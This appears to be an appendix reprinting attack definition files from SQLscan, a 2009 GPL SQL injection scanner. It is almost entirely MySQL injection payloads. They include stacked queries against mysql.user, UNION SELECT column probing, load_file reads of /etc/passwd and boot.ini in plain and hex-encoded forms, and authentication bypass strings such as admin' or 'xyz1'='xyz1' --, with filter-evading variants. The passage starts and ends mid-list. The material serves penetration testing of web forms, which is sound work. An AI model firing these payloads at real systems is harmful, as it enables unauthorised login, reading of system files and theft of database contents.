X=${ORIGVALUE}%29%3bD%45SC%20mysql%2euser%3b%20%2d%2d%20|max_user_connections|0|!! MySQL connecting as ROOT !! 
Partially URL-encoded additional command (numeric field) 
X=${ORIGVALUE}%27%29%3bD%45SC%20mysql%2euser%3b%20%2d%2d%20|max_user_connections|0|!! MySQL connecting as ROOT !! 
Partially URL-encoded additional command (char field) 
#  
# Repeat above tests using something that is visible to all users 
X=${ORIGVALUE};DESC information_schema.tables; -- |TABLE_CATALOG|0|Plaintext additional command (numeric field) 
X=${ORIGVALUE});DESC information_schema.tables; -- |TABLE_CATALOG|0|Plaintext additional command (numeric field) 
X=${ORIGVALUE};DESC/**/information_schema.tables%23|TABLE_CATALOG|0|Plaintext additional command with no spaces 
(numeric field) 
X=${ORIGVALUE});DESC/**/information_schema.tables%23|TABLE_CATALOG|0|Plaintext additional command with no spaces 
(numeric field) 
X=${ORIGVALUE}';DESC information_schema.tables; -- |TABLE_CATALOG|0|Plaintext additional command (char field) 
X=${ORIGVALUE}');DESC information_schema.tables; -- |TABLE_CATALOG|0|Plaintext additional command (char field) 
X=${ORIGVALUE}';DESC/**/information_schema.tables%23|TABLE_CATALOG|0|Plaintext additional command with no spaces 
(char field) 
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X=${ORIGVALUE}');DESC/**/information_schema.tables%23|TABLE_CATALOG|0|Plaintext additional command with no spaces 
(char field) 
X=${ORIGVALUE}%3bDESC%20information_schema.tables; -- |TABLE_CATALOG|0|Plaintext additional command with minimal URL 
encoding (numeric field) 
X=${ORIGVALUE}%29%3bDESC%20information_schema.tables; -- |TABLE_CATALOG|0|Plaintext additional command with minimal 
URL encoding (numeric field) 
X=${ORIGVALUE}%3bD%45SC%20mysql%2euser%3b%20%2d%2d%20|TABLE_CATALOG|0|Partially URL-encoded additional command 
(numeric field) 
X=${ORIGVALUE}%29%3bD%45SC%20mysql%2euser%3b%20%2d%2d%20|TABLE_CATALOG|0|Partially URL-encoded additional command 
(numeric field) 
X=${ORIGVALUE}%27%3bD%45SC%20mysql%2euser%3b%20%2d%2d%20|TABLE_CATALOG|0|Partially URL-encoded additional command 
(char field) 
X=${ORIGVALUE}%27%29%3bD%45SC%20mysql%2euser%3b%20%2d%2d%20|TABLE_CATALOG|0|Partially URL-encoded additional command 
(char field) 
#  
# Look for union select vulnerability 
X=${ORIGVALUE}+union+select+@@version |different number of columns|0|UNION SELECT.  
X=${ORIGVALUE}+union+select+99876589 |99876589|0|UNION SELECT: 1 field 
X=${ORIGVALUE}+union+select+99876589,1 |99876589|0|UNION SELECT: 2 fields 
X=${ORIGVALUE}+union+select+99876589,1,1 |99876589|0|UNION SELECT: 3 fields 
X=${ORIGVALUE}+union+select+99876589,1,1,1 |99876589|0|UNION SELECT: 4 fields 
X=${ORIGVALUE}+union+select+99876589,1,1,1,1 |99876589|0|UNION SELECT: 5 fields 
X=${ORIGVALUE}+union+select+99876589,1,1,1,1,1 |99876589|0|UNION SELECT: 6 fields 
X=${ORIGVALUE}+union+select+99876589,1,1,1,1,1,1 |99876589|0|UNION SELECT: 7 fields 
X=${ORIGVALUE}+union+select+99876589,1,1,1,1,1,1,1 |99876589|0|UNION SELECT: 8 fields 
X=${ORIGVALUE}+union+select+99876589,1,1,1,1,1,1,1,1 |99876589|0|UNION SELECT: 9 fields 
X=1000000%27+union+select+concat(engine,version)+from+information_schema.tables+limit+1,1|MySQLEngines|0|Possible 
schema enumeration 
X=1000000+union+select+concat(engine,version)+from+information_schema.tables+limit+1,1|MySQLEngines|0|Possible 
schema enumeration 
X=1000000%27%20union%20select%20concat%28engine%2cversion%29%20from%20information_schema.tables%20limit%201%2c1|MySQ
LEngines|0|Possible schema enumeration (URL encoded spaces, commas and parentheses) 
X=1000000%20union%20select%20concat%28engine%2cversion%29%20from%20information_schema.tables%20limit%201%2c1|MySQLEn
gines|0|Possible schema enumeration (URL encoded spaces, commas and parentheses) 
# 
# WINDOWS SERVERS 
# next see if load_file can be used in plain text (i.e. magic quotes or equivalent not used by the server) 
X=${ORIGVALUE}+union+select+load_file('c:\boot.ini')|boot loader|0|File reading via UNION SELECT (1 field) + 
plaintext LOAD_FILE.  
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X=${ORIGVALUE}+union+select+load_file('c:\boot.ini'),1|boot loader|0|File reading via UNION SELECT (2 fields) + 
plaintext LOAD_FILE.  
X=${ORIGVALUE}+union+select+load_file('c:\boot.ini'),1,1|boot loader|0|File reading via UNION SELECT (3 fields) + 
plaintext LOAD_FILE.  
X=${ORIGVALUE}+union+select+load_file('c:\boot.ini'),1,1,1|boot loader|0|File reading via UNION SELECT (4 fields) + 
plaintext LOAD_FILE.  
X=${ORIGVALUE}+union+select+load_file('c:\boot.ini'),1,1,1,1|boot loader|0|File reading via UNION SELECT (5 fields) 
+ plaintext LOAD_FILE.  
X=${ORIGVALUE}+union+select+load_file('c:\boot.ini'),1,1,1,1,1|boot loader|0|File reading via UNION SELECT (6 
fields) + plaintext LOAD_FILE.  
X=${ORIGVALUE}+union+select+load_file('c:\boot.ini'),1,1,1,1,1,1|boot loader|0|File reading via UNION SELECT (7 
fields) + plaintext LOAD_FILE.  
X=${ORIGVALUE}+union+select+load_file('c:\boot.ini'),1,1,1,1,1,1,1|boot loader|0|File reading via UNION SELECT (8 
fields) + plaintext LOAD_FILE.  
# Now try load_file without quotes by hex encoding the request: 
X=${ORIGVALUE}+union+select+load_file(0x633a2f626f6f742e696e69)|boot loader|0|File reading via UNION SELECT (1 
field) + hex-encoded LOAD_FILE.  
X=${ORIGVALUE}+union+select+load_file(0x633a2f626f6f742e696e69),1|boot loader|0|File reading via UNION SELECT (2 
fields) + hex-encoded LOAD_FILE.  
X=${ORIGVALUE}+union+select+load_file(0x633a2f626f6f742e696e69),1,1|boot loader|0|File reading via UNION SELECT (3 
fields) + hex-encoded LOAD_FILE.  
X=${ORIGVALUE}+union+select+load_file(0x633a2f626f6f742e696e69),1,1,1|boot loader|0|File reading via UNION SELECT (4 
fields) + hex-encoded LOAD_FILE.  
X=${ORIGVALUE}+union+select+load_file(0x633a2f626f6f742e696e69),1,1,1,1|boot loader|0|File reading via UNION SELECT 
(5 fields) + hex-encoded LOAD_FILE.  
X=${ORIGVALUE}+union+select+load_file(0x633a2f626f6f742e696e69),1,1,1,1,1|boot loader|0|File reading via UNION 
SELECT (6 fields) + hex-encoded LOAD_FILE.  
X=${ORIGVALUE}+union+select+load_file(0x633a2f626f6f742e696e69),1,1,1,1,1,1|boot loader|0|File reading via UNION 
SELECT (7 fields) + hex-encoded LOAD_FILE.  
X=${ORIGVALUE}+union+select+load_file(0x633a2f626f6f742e696e69),1,1,1,1,1,1,1|boot loader|0|File reading via UNION 
SELECT (8 fields) + hex-encoded LOAD_FILE.  
# *NIX Boxes 
X=${ORIGVALUE}+union+select+load_file('/etc/passwd')|root:|0|File reading via UNION SELECT (1 field) + plaintext 
LOAD_FILE.  
X=${ORIGVALUE}+union+select+load_file('/etc/passwd'),1|root:|0|File reading via UNION SELECT (2 fields) + plaintext 
LOAD_FILE.  
X=${ORIGVALUE}+union+select+load_file('/etc/passwd'),1,1|root:|0|File reading via UNION SELECT (3 fields) + 
plaintext LOAD_FILE.  
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X=${ORIGVALUE}+union+select+load_file('/etc/passwd'),1,1,1|root:|0|File reading via UNION SELECT (4 fields) + 
plaintext LOAD_FILE.  
X=${ORIGVALUE}+union+select+load_file('/etc/passwd'),1,1,1,1|root:|0|File reading via UNION SELECT (5 fields) + 
plaintext LOAD_FILE.  
X=${ORIGVALUE}+union+select+load_file('/etc/passwd'),1,1,1,1,1|root:|0|File reading via UNION SELECT (6 fields) + 
plaintext LOAD_FILE.  
X=${ORIGVALUE}+union+select+load_file('/etc/passwd'),1,1,1,1,1,1|root:|0|File reading via UNION SELECT (7 fields) + 
plaintext LOAD_FILE.  
X=${ORIGVALUE}+union+select+load_file('/etc/passwd'),1,1,1,1,1,1,1|root:|0|File reading via UNION SELECT (8 fields) 
+ plaintext LOAD_FILE.  
# Now try load_file without quotes by hex encoding the request: 
X=${ORIGVALUE}+union+select+load_file(0x2f6574632f706173737764)|root:|0|File reading via UNION SELECT (1 field) + 
hex-encoded LOAD_FILE.  
X=${ORIGVALUE}+union+select+load_file(0x2f6574632f706173737764),1|root:|0|File reading via UNION SELECT (2 fields) + 
hex-encoded LOAD_FILE.  
X=${ORIGVALUE}+union+select+load_file(0x2f6574632f706173737764),1,1|root:|0|File reading via UNION SELECT (3 fields) 
+ hex-encoded LOAD_FILE.  
X=${ORIGVALUE}+union+select+load_file(0x2f6574632f706173737764),1,1,1|root:|0|File reading via UNION SELECT (4 
fields) + hex-encoded LOAD_FILE.  
X=${ORIGVALUE}+union+select+load_file(0x2f6574632f706173737764),1,1,1,1|root:|0|File reading via UNION SELECT (5 
fields) + hex-encoded LOAD_FILE.  
X=${ORIGVALUE}+union+select+load_file(0x2f6574632f706173737764),1,1,1,1,1|root:|0|File reading via UNION SELECT (6 
fields) + hex-encoded LOAD_FILE.  
X=${ORIGVALUE}+union+select+load_file(0x2f6574632f706173737764),1,1,1,1,1,1|root:|0|File reading via UNION SELECT (7 
fields) + hex-encoded LOAD_FILE.  
X=${ORIGVALUE}+union+select+load_file(0x2f6574632f706173737764),1,1,1,1,1,1,1|root:|0|File reading via UNION SELECT 
(8 fields) + hex-encoded LOAD_FILE.  
# EXECUTE ADDITIONAL SQL (E.G. READ ANOTHER PART OF THE DATABASE) 
X=select Host from mysql.user where user ='root';|localhost|0|!! MySQL connecting as ROOT !! Embedded SELECT command 
(e.g. password/credit card detail discovery). 
X=select(Host)from(mysql.user)where(user)=0x726f6f74;|localhost|0|!! MySQL connecting as ROOT !! Embedded SELECT 
command with no spaces and hex-encoded string (e.g. password/credit card detail discovery). 
X=select%28Host%29from%28mysql.user%29where%28user%29=0x726f6f74;|localhost|0|!! MySQL connecting as ROOT !! 
Embedded URL-encoded SELECT command with no spaces and hex-encoded string (e.g. password/credit card detail 
discovery). 
X=select%28Host%29from%28mysql.user%29where%28user%29=0%78726f6f74;|localhost|0|!! MySQL connecting as ROOT !! 
Embedded URL-encoded SELECT command with no spaces and URL-encoded hex-encoding string (e.g. 0%78726f6f74 instead of 
0x726f6f74 password/credit card detail discovery). 
# repeat last 4 checks using a table all users can access 
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X=select engine from information_schema.tables where table_schema='information_schema' and 
table_name='tables';|MEMORY|0|Embedded SELECT command (e.g. password/credit card detail discovery). 
X=select(engine)from(information_schema.tables)where(table_schema)=(0x696e666f726d6174696f6e5f736368656d61)and(table
_name)=0x7461626c6573;|MEMORY|0|Embedded SELECT command with no spaces and hex-encoded string (e.g. password/credit 
card detail discovery). 
X=select%28engine%29from%28information_schema.tables%29where%28table_schema%29=%280x696e666f726d6174696f6e5f73636865
6d61%29and%28table_name%29=0x7461626c6573;|MEMORY|0|Embedded URL-encoded SELECT command with no spaces and hex-
encoded string (e.g. password/credit card detail discovery). 
X=select%28engine%29from%28information_schema.tables%29where%28table_schema%29=%280%78696e666f726d6174696f6e5f736368
656d61%29and%28table_name%29=0%787461626c6573;|MEMORY|0|Embedded URL-encoded SELECT command with no spaces and URL-
encoded hex-encoding string (e.g. 0%78...... instead of 0x.....) - schema information discovery vulnerability. 
 
Figure D.2– MySQLGetAttacks.dat 
 
# SQLscan: Generic SQL Injection post attacks definition file 
# 
# Copyright (C) 2009 Evan Ryder. 
# This file is part of SQLscan. 
# 
# SQLscan is free software: you can redistribute it and/or modify 
# it under the terms of the GNU General Public License as published by 
# the Free Software Foundation, either version 3 of the License, or 
# (at your option) any later version. 
# 
# SQLscan is distributed in the hope that it will be useful, 
# but WITHOUT ANY WARRANTY; without even the implied warranty of 
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the 
# GNU General Public License for more details. 
# 
# You should have received a copy of the GNU General Public License 
# along with SQLscan (in the file 'COPYING)'.  If not, see <http://www.gnu.org/licenses/>. 
# 
# 
# Format: 
#   Username|Password|Success indicator|Stop if successful|Description 
# 
#   Username:  The entry to place in the form's  username field 
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# 
#   Password:  The entry to make in the form's password field 
# 
#   Success indicator:  The string which, if it appears in the resulting page, 
#     indicates that this attack was succesful.  This field can also reference a 
#     filename (in the successIndicators directory), containing multiple 
#     possible matches.  Valid entries are:  
# a) 'userDefined' - The string as defined by the interactive user or 
#    supplied via the -s switch. 
# b) 'identify' - Indicating that this check is used to identify the SQL 
#    engine in use. 
#       c) Any valid file name within the successIndicators sub-directory. 
#          Such files can contain multiple possible matches - each on a seperate 
#          line.  An attack is considered to be successful if any entry in the 
#    referenced file is matched. 
#     All other entries are treated as success indication strings and if found 
#     in the form responder's HTML source, will indicate a successful attack. 
# 
#   Stop if successful: If this attack succeeds, stop scanning if there is a 1 
#     in this field.  
# 
#   Description:  The text to describe the attack.  This is displayed on 
#     screen and in the log file if the attack is successful. 
# 
# Reserved characters:  
#                      | (field delimiter - use ^ wherever a vertical bar is required) 
#                      ~ (temporarily replaces spaces to enable the passing of complete fields as function 
parameters.  Any ~ in this file will be converted into a space) 
#                      ^ (used in place of | in any SQL syntax) 
#  
# FIRST, TRY TO IDENTIFY THE SQL ENGINE BEING USED, BY CAUSING AN ERROR AND USING THE BUILT-IN 
# 'IDENTIFY' SUCCESS INDICATOR: 
'||identify|0|Plain-text SQL Injection (username field only) 
|'|identify|0|Plain-text SQL Injection (password field only) 
'|mypwd|identify|0|Plain-text SQL Injection (username field) 
myid|'|identify|0|Plain-text SQL Injection (password field) 
# 
# Generate an error with bad syntax 
1 when 0|1 when 0|identify|0|Unsuppressed error messages: Numeric field - invalid syntax 
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1' when 0|1' when 0|identify|0|Unsuppressed error messages: Character field - invalid syntax 
#  
# Try to generate a table not found error.  E.g. ERROR 1146 (42S02): Table 'dbname.nonExistantTable' doesn't exist 
(MySQL) 
(SELECT id FROM nonExistentTable)|9999|identify|0|Unsuppressed error messages: Numeric username field - Reference to 
non-existent table 
' and 9=(SELECT id FROM nonExistentTable)|9999|identify|0|Unsuppressed error messages: Character username field - 
Reference to non-existent table 
9999|(SELECT id FROM nonExistentTable)|identify|0|Unsuppressed error messages: Numeric pasword field - Reference to 
non-existent table 
9999|' and 9=(SELECT id FROM nonExistentTable)|identify|0|Unsuppressed error messages: Character pasword field - 
Reference to non-existent table 
#  
# Try to generate an 'unknown column' error using a table which is known to exist: E.g. ERROR 1054 (42S22): Unknown 
column 'idxr3' in 'where clause' (MySQL) 
(SELECT idxr3)|9999|identify|0|Unsuppressed error messages: Numeric username field - Reference to non-existent 
column in existing table 
' and 9=(SELECT idxr3)|9999|identify|0|Unsuppressed error messages: Character username field - Reference to non-
existent column in existing table 
9999|(SELECT idxr3)|identify|0|Unsuppressed error messages: Numeric pasword field - Reference to non-existent column 
in existing table 
9999|' and 9=(SELECT idxr3)|identify|0|Unsuppressed error messages: Character pasword field - Reference to non-
existent column in existing table 
#  
# Compare a single value to multiples: E.g. ERROR 1241 (21000): Operand should contain 1 column(s) or ERROR 1242 
(21000): Subquery returns more than 1 row (MySQL) 
(SELECT 1,2)|9999|identify|0|Unsuppressed error messages: Numeric username field - Comparison of a single value to 
multiple values 
' and 9=(SELECT 1,2)|9999|identify|0|Unsuppressed error messages: Character username field - Comparison of a single 
value to multiple values 
9999|(SELECT 1,2)|identify|0|Unsuppressed error messages: Numeric pasword field - Comparison of a single value to 
multiple values 
9999|' and 9=(SELECT 1,2)|identify|0|Unsuppressed error messages: Character pasword field - Comparison of a single 
value to multiple values 
#  
# NOW THAT WE (HOPEFULLY) KNOW THE SQL ENGINE, TRY TO LOG IN TO THE SYSTEM 
# ||identify|0|Obfuscated SQL Injection: URL encoding 
# USING THE SUCCESS INDICATOR DEFINED BY THE USER TO KNOW IF YOU HAVE 
# SUCCEEDED: 
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admin' or 'xyz1'='xyz1' -- |apassword|userDefined|0|Password-less Login as admin 
admin' or 'xyz1'='xyz1') -- |apassword|userDefined|0|Password-less Login as admin 
root' or 'xyz1'='xyz1' -- |apassword|userDefined|0|Password-less Login as root 
root' or 'xyz1'='xyz1') -- |apassword|userDefined|0|Password-less Login as root 
# 
0 OR 1=1 -- |mypwd|userDefined|0|Log in by injecting an easy-to-detect true condition into a numeric username field 
(plaintext) 
0 OR 1=1) -- |mypwd|userDefined|0|Log in by injecting an easy-to-detect true condition into a parenthesis-enclosed, 
numeric username field (plaintext) 
# 
120|0 OR 1=1 -- |userDefined|0|Log in by injecting an easy-to-detect true condition into a numeric password field 
(plaintext) 
120|0 OR 1=1) -- |userDefined|0|Log in by injecting an easy-to-detect true condition into a parenthesis-enclosed, 
numeric password field (plaintext) 
# 
0' OR 'qwerty'='qwerty -- |mypwd|userDefined|0|Log in by injecting an easy-to-detect true condition into an alpha-
numeric username field (plaintext) 
0' OR 'qwerty'='qwerty) -- |mypwd|userDefined|0|Log in by injecting an easy-to-detect true condition into a 
parenthesis-enclosed, alpha-numeric username field (plaintext) 
# 
myid|0' OR 'qwerty'='qwerty -- |userDefined|0|Log in by injecting an easy-to-detect true condition into an alpha-
numeric password field (plaintext) 
myid|0' OR 'qwerty'='qwerty) -- |userDefined|0|Log in by injecting an easy-to-detect true condition into a 
parenthesis-enclosed, alpha-numeric password field (plaintext) 
# 
0 OR 'qwerty' IN ('ytrewq', 'qwerty') OR 'ghd'='q' -- |mypwd|userDefined|0|Log in by injecting a difficult-to-detect 
true condition into a numeric username field (plaintext) 
0 OR 'qwerty' IN ('ytrewq', 'qwerty') OR 'ghd'='q') -- |mypwd|userDefined|0|Log in by injecting a difficult-to-
detect true condition into a parenthesis-enclosed, numeric username field (plaintext) 
# 
23456789|0 OR 'qwerty' IN ('ytrewq', 'qwerty') OR 'ghd'='q' -- |userDefined|0|Log in by injecting a difficult-to-
detect true condition into an numeric password field (plaintext) 
23456789|0 OR 'qwerty' IN ('ytrewq', 'qwerty') OR 'ghd'='q') -- |userDefined|0|Log in by injecting a difficult-to-
detect true condition into a parenthesis-enclosed, numeric password field (plaintext) 
# 
0' OR 'qwerty' IN ('ytrewq', 'qwerty') OR 'ghd'='q' -- |mypwd|userDefined|0|Log in by by injecting a difficult-to-
detect true condition into an alpha-numeric username field 
0' OR 'qwerty' IN ('ytrewq', 'qwerty') OR 'ghd'='q') -- |mypwd|userDefined|0|Log in by by injecting a difficult-to-
detect true condition into a parenthesis-enclosed, alpha-numeric username field 
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# 
23456|0' OR 'qwerty' IN ('ytrewq', 'qwerty') OR 'ghd'='q' -- |userDefined|0|Log in by by injecting a difficult-to-
detect true condition into an alpha-numeric password field 
23456|0' OR 'qwerty' IN ('ytrewq', 'qwerty') OR 'ghd'='q') -- |userDefined|0|Log in by by injecting a difficult-to-
detect true condition into a parenthesis-enclosed, alpha-numeric password field 
# 
Figure D.3 – genericPostAttacks.dat 
 
 
 
# SQLscan: MySQL Injection post attacks definition file. 
# 
# Copyright (C) 2009 Evan Ryder. 
# This file is part of SQLscan. 
# 
# SQLscan is free software: you can redistribute it and/or modify 
# it under the terms of the GNU General Public License as published by 
# the Free Software Foundation, either version 3 of the License, or 
# (at your option) any later version. 
# 
# SQLscan is distributed in the hope that it will be useful, 
# but WITHOUT ANY WARRANTY; without even the implied warranty of 
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the 
# GNU General Public License for more details. 
# 
# You should have received a copy of the GNU General Public License 
# along with SQLscan (in the file 'COPYING)'.  If not, see <http://www.gnu.org/licenses/>. 
# 
# 
# Format: 
#   Username|Password|Success indicator|Stop if successful|Description 
# 
#   Username:  The entry to place in the form's  username field 
# 
#   Password:  The entry to make in the form's password field 
# 
#   Success indicator:  The string which, if it appears in the resulting page, 
#     indicates that this attack was succesful.  This field can also reference a 
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#     filename (in the successIndicators directory), containing multiple 
#     possible matches.  Valid entries are:  
# a) 'userDefined' - The string as defined by the interactive user or 
#    supplied via the -s switch. 
# b) 'identify' - Indicating that this check is used to identify the SQL 
#    engine in use. 
#       c) Any valid file name within the successIndicators sub-directory. 
#          Such files can contain multiple possible matches - each on a seperate 
#          line.  An attack is considered to be successful if any entry in the 
#    referenced file is matched. 
#     All other entries are treated as success indication strings and if found 
#     in the form responder's HTML source, will indicate a successful attack. 
# 
#   Stop if successful: If this attack succeeds, stop scanning if there is a 1 
#     in this field.  
# 
#   Description:  The text to describe the attack.  This is displayed on 
#     screen and in the log file if the attack is successful. 
# 
# Reserved characters:  
#                      | (field delimiter - use ^ wherever a vertical bar is required) 
#                      ~ (temporarily replaces spaces to enable the passing of complete fields as function 
parameters.  Any ~ in this file will be converted into a space) 
#                      ^ (used in place of | in any SQL syntax) 
#  
# Try to append a command that only root should be able to run 
99;DESC mysql.user -- |99|max_user_connections|0|!! MySQL connecting as ROOT !! Plaintext additional command 
(numeric username field) 
99);DESC mysql.user -- |99|max_user_connections|0|!! MySQL connecting as ROOT !! Plaintext additional command 
(numeric username field) 
'; DESC mysql.user; -- |99|max_user_connections|0|!! MySQL connecting as ROOT !! Plaintext additional command 
(alphabetic username field) 
'); DESC mysql.user; -- |99|max_user_connections|0|!! MySQL connecting as ROOT !! Plaintext additional command 
(alphabetic username field) 
99|99; DESC mysql.user -- |max_user_connections|0|!! MySQL connecting as ROOT !! Plaintext additional command 
(numeric password field) 
99|99); DESC mysql.user -- |max_user_connections|0|!! MySQL connecting as ROOT !! Plaintext additional command 
(numeric password field) 
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99|'; DESC mysql.user -- |max_user_connections|0|!! MySQL connecting as ROOT !! Plaintext additional command 
(alphabetic password field) 
99|'); DESC mysql.user -- |max_user_connections|0|!! MySQL connecting as ROOT !! Plaintext additional command 
(alphabetic password field) 
99;DESC/**/mysql.user#|99|max_user_connections|0|!! MySQL connecting as ROOT !! Plaintext additional command with no 
spaces (numeric username field) 
99);DESC/**/mysql.user#|99|max_user_connections|0|!! MySQL connecting as ROOT !! Plaintext additional command with 
no spaces (numeric username field) 
';DESC/**/mysql.user;#|99|max_user_connections|0|!! MySQL connecting as ROOT !! Plaintext additional command with no 
spaces (alphabetic username field) 
');DESC/**/mysql.user;#|99|max_user_connections|0|!! MySQL connecting as ROOT !! Plaintext additional command with 
no spaces (alphabetic username field) 
99|99;DESC/**/mysql.user#|max_user_connections|0|!! MySQL connecting as ROOT !! Plaintext additional command with no 
spaces (numeric password field) 
99|99);DESC/**/mysql.user#|max_user_connections|0|!! MySQL connecting as ROOT !! Plaintext additional command with 
no spaces (numeric password field) 
99|';DESC/**/mysql.user#|max_user_connections|0|!! MySQL connecting as ROOT !! Plaintext additional command with no 
spaces (alphabetic password field) 
99|');DESC/**/mysql.user#|max_user_connections|0|!! MySQL connecting as ROOT !! Plaintext additional command with no 
spaces (alphabetic password field) 
#  
# Repeat above tests using something that is visible to all users 
99;DESC information_schema.tables -- |99|TABLE_CATALOG|0|Schema enumeration via additional command (numeric username 
field) 
99);DESC information_schema.tables -- |99|TABLE_CATALOG|0|Schema enumeration via additional command (numeric 
username field) 
'; DESC information_schema.tables; -- |99|TABLE_CATALOG|0|Schema enumeration via additional command (alphabetic 
username field) 
'); DESC information_schema.tables; -- |99|TABLE_CATALOG|0|Schema enumeration via additional command (alphabetic 
username field) 
99|99; DESC information_schema.tables -- |TABLE_CATALOG|0|Schema enumeration via additional command (numeric 
password field) 
99|99); DESC information_schema.tables -- |TABLE_CATALOG|0|Schema enumeration via additional command (numeric 
password field) 
99|'; DESC information_schema.tables -- |TABLE_CATALOG|0|Schema enumeration via additional command (alphabetic 
password field) 
99|'); DESC information_schema.tables -- |TABLE_CATALOG|0|Schema enumeration via additional command (alphabetic 
password field) 
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99;DESC/**/information_schema.tables#|99|TABLE_CATALOG|0|Schema enumeration via additional command with no spaces 
(numeric username field) 
99;)DESC/**/information_schema.tables#|99|TABLE_CATALOG|0|Schema enumeration via additional command with no spaces 
(numeric username field) 
';DESC/**/information_schema.tables;#|99|TABLE_CATALOG|0|Schema enumeration via additional command with no spaces 
(alphabetic username field) 
');DESC/**/information_schema.tables;#|99|TABLE_CATALOG|0|Schema enumeration via additional command with no spaces 
(alphabetic username field) 
99|99;DESC/**/information_schema.tables#|TABLE_CATALOG|0|Schema enumeration via additional command with no spaces 
(numeric password field) 
99|99);DESC/**/information_schema.tables#|TABLE_CATALOG|0|Schema enumeration via additional command with no spaces 
(numeric password field) 
99|';DESC/**/information_schema.tables#|TABLE_CATALOG|0|Schema enumeration via additional command with no spaces 
(alphabetic password field) 
99|');DESC/**/information_schema.tables#|TABLE_CATALOG|0|Schema enumeration via additional command with no spaces 
(alphabetic password field) 
#  
#  
# Try to bypass authentication 
mypwd' OR 'ABC' IN ('BAC', 'ABC', 'CAB') LIMIT 0,1 -- |mypass|userDefined|0|Login using first record in the table 
(username field) 
mypwd' OR 'ABC' IN ('BAC', 'ABC', 'CAB') LIMIT 0,1#|mypass|userDefined|0|Login using first record in the table 
(username field) 
mypwd' OR 'ABC' IN ('BAC', 'ABC', 'CAB') LIMIT 0,1/*|mypass|userDefined|0|Login using first record in the table 
(username field) 
mypwd' or 0x414243 in (0x424143, 0x414243, 0x434142) LIMIT 1,1 -- |mypwd|userDefined|0|Login using first record in 
the table (username field - hex-encoded strings) 
mypwd' or 0x414243 in (0x424143, 0x414243, 0x434142) LIMIT 1,1#|mypwd|userDefined|0|Login using first record in the 
table (username field - hex-encoded strings) 
mypwd' or 0x414243 in (0x424143, 0x414243, 0x434142) LIMIT 1,1/*|mypwd|userDefined|0|Login using first record in the 
table (username field - hex-encoded strings) 
mypwd'/**/OR/**/0x414243/**/IN/**/(0x424143,0x414243,0x434142)/**/LIMIT/**/0,1/**/#|mypwd|userDefined|0|Login using 
first record in the table (username field - hex-encoded strings - no spaces) 
9|mypwd' OR 'ABC' IN ('BAC', 'ABC', 'CAB') LIMIT 0,1|userDefined|0|Login using first record in the table (password 
field) 
9|mypwd' OR 'ABC' IN ('BAC', 'ABC', 'CAB') LIMIT 0,1 -- |userDefined|0|Login using first record in the table 
(password field) 
9|mypwd' OR 'ABC' IN ('BAC', 'ABC', 'CAB') LIMIT 0,1#|userDefined|0|Login using first record in the table (password 
field) 
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9|mypwd' OR 'ABC' IN ('BAC', 'ABC', 'CAB') LIMIT 0,1/*|userDefined|0|Login using first record in the table (password 
field) 
9|0x6D7970776427 OR 0x414243 IN (0x424143, 0x414243, 0x434142) LIMIT 0,1|userDefined|0|Login using first record in 
the table (password field - hex-encoded strings) 
9|0x6D7970776427 OR 0x414243 IN (0x424143, 0x414243, 0x434142) LIMIT 0,1 -- |userDefined|0|Login using first record 
in the table (password field - hex-encoded strings) 
9|0x6D7970776427 OR 0x414243 IN (0x424143, 0x414243, 0x434142) LIMIT 0,1#|userDefined|0|Login using first record in 
the table (password field - hex-encoded strings) 
9|0x6D7970776427 OR 0x414243 IN (0x424143, 0x414243, 0x434142) LIMIT 0,1/*|userDefined|0|Login using first record in 
the table (password field - hex-encoded strings) 
9|0x6D7970776427/**/OR/**/0x414243/**/IN/**/(0x424143,0x414243,0x434142)/**/LIMIT/**/0,1|userDefined|0|Login using 
first record in the table (password field - hex-encoded strings) 
9|0x6D7970776427/**/OR/**/0x414243/**/IN/**/(0x424143,0x414243,0x434142)/**/LIMIT/**/0,1 -- |userDefined|0|Login 
using first record in the table (password field - hex-encoded strings) 
9|0x6D7970776427/**/OR/**/0x414243/**/IN/**/(0x424143,0x414243,0x434142)/**/LIMIT/**/0,1#|userDefined|0|Login using 
first record in the table (password field - hex-encoded strings) 
9|0x6D7970776427/**/OR/**/0x414243/**/IN/**/(0x424143,0x414243,0x434142)/**/LIMIT/**/0,1/*|userDefined|0|Login using 
first record in the table (password field - hex-encoded strings) 
# 
# work around server-truncated fields by using the shortest possible strings 
4 OR 1#|mypwd|userDefined|0|Login by selecting all records (numeric username field) 
# NOTE: ^ changes into a vertical bar in 'Post' usernames and passwords (because the vertical bar is reserved as the 
field delimiter in this file):  
4 OR 1-- |mypwd|userDefined|0|Login by selecting all records (numeric username field) 
4 OR 1/*|mypwd|userDefined|0|Login by selecting all records (numeric username field) 
4/**/or/**/1#|mypwd|userDefined|0|Login by selecting all records using no spaces (numeric username field) 
4/**/or/**/1-- |mypwd|userDefined|0|Login by selecting all records using no spaces (numeric username field) 
4/**/or/**/1/*|mypwd|userDefined|0|Login by selecting all records using no spaces (numeric username field) 
4^^1#|mypwd|userDefined|0|Login by selecting all records using no spaces (numeric username field) 
(4)or(1)#|mypwd|userDefined|0|Login by selecting all records using no spaces (numeric username field) 
(4)or(1)-- |mypwd|userDefined|0|Login by selecting all records using no spaces (numeric username field) 
(4)or(1)/*|mypwd|userDefined|0|Login by selecting all records using no spaces (numeric username field) 
'or 1#|mypwd|userDefined|0|Login by selecting all records using less than 8 characters (CHAR username field) 
'^^1#|mypwd|userDefined|0|Login by selecting all records using less than 8 characters and no spaces (CHAR username 
field) 
'or 1-- |mypwd|userDefined|0|Login by selecting all records using less than 8 characters (CHAR username field) 
'^^1-- |mypwd|userDefined|0|Login by selecting all records using less than 8 characters (CHAR username field) 
'or 1/*|mypwd|userDefined|0|Login by selecting all records using less than 8 characters (CHAR username field) 
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'^^1/*|mypwd|userDefined|0|Login by selecting all records using less than 8 characters and no spaces (CHAR username 
field) 
'or(1)#|mypwd|userDefined|0|Login by selecting all records using no spaces and less than 8 characters (CHAR username 
field) 
'or(1)-- |mypwd|userDefined|0|Login by selecting all records using no spaces and less than 8 characters (CHAR 
username field) 
'or(1)/*|mypwd|userDefined|0|Login by selecting all records using no spaces and less than 8 characters (CHAR 
username field) 
4'or/**/1#|mypwd|userDefined|0|Login by selecting all records using no spaces (CHAR username field) 
4'or/**/1-- |mypwd|userDefined|0|Login by selecting all records using no spaces (CHAR username field) 
4'or/**/1/*|mypwd|userDefined|0|Login by selecting all records using no spaces (CHAR username field) 
# repeat tests for password field 
2|4 OR 1#|userDefined|0|Login by selecting all records (numeric password field) 
